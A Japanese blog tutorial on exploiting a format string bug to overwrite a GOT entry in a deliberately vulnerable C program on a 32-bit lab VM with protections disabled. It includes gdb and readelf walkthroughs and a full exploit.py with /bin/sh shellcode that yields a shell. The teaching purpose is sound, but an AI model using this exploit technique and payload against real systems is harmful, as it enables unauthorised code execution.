format string attackによるGOT overwriteをやってみる

一つ前のエントリではformat string attackによるメモリ読み出しをやってみたが、format string attackでは任意の位置のメモリ内容を書き換えることもできる。 ここでは、実際にGOT (Global Offset Table) と呼ばれるセクションに置かれるライブラリ関数のアドレスをシェルコードのアドレスに置き換え、シェルを起動させてみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

コマンドライン引数がそのままprintfのフォーマット文字列になっているコードを書く。

/* fsb.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[100];
    printf("[+] buf = %p\n", buf);
    strncpy(buf, argv[1], 100);
    printf(buf);
    putchar('\n');
    return 0;
}

SSP有効、ASLR、DEP無効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -z execstack fsb.c
fsb.c: In function ‘main’:
fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ ./a.out AAAA
[+] buf = 0xbffff708
AAAA

任意のアドレスにあるメモリ内容を書き換えてみる

printf系関数には%n指定子というものがあり、これはその時点までに書き出されたバイト数を引数で指定されたアドレスが指すメモリに書き込む。 たとえば、次のような感じである。

char *buffer;
int len;
printf("%s%n\n", buffer, &len);  /* bufferが出力されると同時に、その文字列長がlenに書き込まれる */

一つ前のエントリに書いたように、フォーマット文字列はスタック上にあるため次のように参照可能である。

$ ./a.out 'AAAA%10$08x'
[+] buf = 0xbffff6f8
AAAA41414141

つまり、AAAAの代わりに書き換えたいアドレスをセットし、%100cなどで適当な数(ここでは100)だけ文字を出力した上で%10$nを指定すれば、そのアドレスにあるメモリ4バイトを任意の値に書き換えることができる。 たとえば、0xaabbccddからの4バイトを11 00 00 00 (=17) に書き換えるには次のようにする。

$ ./a.out $'\xdd\xcc\xbb\xaa%13c%10$n'
[+] buf = 0xbffff6f8
Segmentation fault (core dumped)

先頭のアドレス指定ですでに4バイト出力しているので%cで出力させる文字数には目的の数から4引いた数を指定する。 なお、ここでは適当なアドレスを指定しているためセグメント違反で落ちている。

上の方法で4バイト書き換えるとき、文字数をそのまま指定すると大量の文字を出力することになり時間がかかる。 そこで、先頭から1バイトずつ4回に分けて書き換える方法が取られる。 また、%nの代わりに%hnを使うと2バイト、%hhnを使うと1バイトのみの書き換えにすることができる。 ここで出力文字数が書き換えられるバイト長を越えた場合については、上位のバイトが無視される。

上記のことを利用して0xaabbccddからの4バイトを11 22 33 44で書き換える場合、送り込むフォーマット文字列は次のようになる。

$ python
>>> "\xdd\xcc\xbb\xaa" + "\xde\xcc\xbb\xaa" + "\xdf\xcc\xbb\xaa" + "\xe0\xcc\xbb\xaa" \
... + "%%%dc" % (0x44-16)             + "%10$n" \
... + "%%%dc" % (0x33 - 0x44 + 0x100) + "%11$n" \
... + "%%%dc" % (0x22 - 0x33 + 0x100) + "%12$n" \
... + "%%%dc" % (0x11 - 0x22 + 0x100) + "%13$n"
'\xdd\xcc\xbb\xaa\xde\xcc\xbb\xaa\xdf\xcc\xbb\xaa\xe0\xcc\xbb\xaa%52c%10$n%239c%11$n%239c%12$n%239c%13$n'

これは、フォーマット文字列までのオフセットが10の場合についての例である。

GOTによるライブラリ関数呼び出しについて調べてみる

コンパイル時に共有ライブラリをダイナミックリンクした場合、共有ライブラリの関数はGOT (Global Offset Table) と呼ばれるジャンプテーブルを介して呼び出される。 この流れを、最初に書いた脆弱性のあるプログラムをgdbで実行することによって確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080484c6 <+50>:    call   0x8048380 <printf@plt>
   ...
   0x080484f3 <+95>:    call   0x8048380 <printf@plt>
   ...
End of assembler dump.
(gdb) disas 0x8048380
Dump of assembler code for function printf@plt:
   0x08048380 <+0>:     jmp    DWORD PTR ds:0x804a000
   0x08048386 <+6>:     push   0x0
   0x0804838b <+11>:    jmp    0x8048370
End of assembler dump.
(gdb) b *main+50
Breakpoint 1 at 0x80484c6
(gdb) b *main+95
Breakpoint 2 at 0x80484f3
(gdb) run AAAA
Starting program: /home/user/tmp/a.out AAAA

Breakpoint 1, 0x080484c6 in main ()
(gdb) x/xw 0x804a000
0x804a000 <printf@got.plt>:     0x08048386

printfが呼ばれるとき、まずprintf@pltがcallされ、0x804a000に書かれたアドレスにジャンプするようになっていることがわかる。 最初に書いたコードではprintfが2回呼ばれているが、1回目のときこのアドレスはprintf@pltの2行目である。

(gdb) c
Continuing.
[+] buf = 0xbffff6f8

Breakpoint 2, 0x080484f3 in main ()
(gdb) x/xw 0x804a000
0x804a000 <printf@got.plt>:     0xb7e78ed0
(gdb) disas 0xb7e78ed0
Dump of assembler code for function printf:
   0xb7e78ed0 <+0>:     push   ebx
   0xb7e78ed1 <+1>:     sub    esp,0x18
   0xb7e78ed4 <+4>:     call   0xb7f57d53
   0xb7e78ed9 <+9>:     add    ebx,0x15911b
   0xb7e78edf <+15>:    lea    eax,[esp+0x24]
   0xb7e78ee3 <+19>:    mov    DWORD PTR [esp+0x8],eax
   0xb7e78ee7 <+23>:    mov    eax,DWORD PTR [esp+0x20]
   0xb7e78eeb <+27>:    mov    DWORD PTR [esp+0x4],eax
   0xb7e78eef <+31>:    mov    eax,DWORD PTR [ebx-0x7c]
   0xb7e78ef5 <+37>:    mov    eax,DWORD PTR [eax]
   0xb7e78ef7 <+39>:    mov    DWORD PTR [esp],eax
   0xb7e78efa <+42>:    call   0xb7e6eab0 <vfprintf>
   0xb7e78eff <+47>:    add    esp,0x18
   0xb7e78f02 <+50>:    pop    ebx
   0xb7e78f03 <+51>:    ret
End of assembler dump.
(gdb) c
Continuing.
AAAA
[Inferior 1 (process 7481) exited normally]
(gdb) q

2回目のprintfが来るまで処理を進めると、まず1回目のprintfがきちんと呼ばれていることがわかる。 そして、ここで0x804a000に書かれたアドレスを見ると、実際のprintfの関数に書き変わっている。 この仕組みは遅延バインドと呼ばれる。

ここまでの流れから、0x804a000に書かれたアドレスを書き換えれば任意のアドレスにジャンプさせられることがわかる。 実際0x804a000が含まれる.got.pltセクションは書き換え可能になっている。

$ readelf -S a.out
There are 30 section headers, starting at offset 0x1148:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  ...
  [23] .got.plt          PROGBITS        08049ff4 000ff4 000024 04  WA  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  ...
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

試しにgdbで0x804a000を書き換えてみると、ジャンプ先を変えることに成功していることがわかる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x8048497
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048497 in main ()
(gdb) set {int}0x804a000 = 0xcccccccc
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb) quit
A debugging session is active.

        Inferior 1 [process 7493] will be killed.

Quit anyway? (y or n) y

エクスプロイトコードを書いてみる

以上の内容をもとに、GOTを書き換えシェルコードにジャンプさせるエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

addr_got = int(sys.argv[1], 16)
addr_buf = int(sys.argv[2], 16)
index = int(sys.argv[3])

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

buf = struct.pack('<I', addr_got)
buf += struct.pack('<I', addr_got+1)
buf += struct.pack('<I', addr_got+2)
buf += struct.pack('<I', addr_got+3)
buf += shellcode

a = map(ord, struct.pack('<I', addr_buf + 16))
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードは、書き換えたいGOTのアドレス、バッファの先頭アドレス、フォーマット文字列までのオフセットを順に引数に取る。 そして、GOTの値をバッファの先頭から16バイト先にあるシェルコードのアドレスに書き換える。

format string attackが行われるのは2回目のprintfであるので、その後にあるputchar関数のGOTの値を書き換えることを考える。 putchar関数のGOTのアドレスとフォーマット文字列までのオフセットをそれぞれ調べ、実行してみる。

$ objdump -d -j.plt a.out
080483c0 <putchar@plt>:
 80483c0:       ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 80483c6:       68 20 00 00 00          push   0x20
 80483cb:       e9 a0 ff ff ff          jmp    8048370 <_init+0x34>

$ ./a.out 'AAAA%10$08x'
[+] buf = 0xbffff6f8
AAAA41414141

$ python exploit.py 0x804a010 0xbffff6f8 10
[+] buf = 0xbffff6a8

$ python exploit.py 0x804a010 0xbffff6a8 10
[+] buf = 0xbffff6a8
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

GOTの値がスタック上のシェルコードのアドレスに書き変わり、シェルが起動することが確認できた。

関連リンク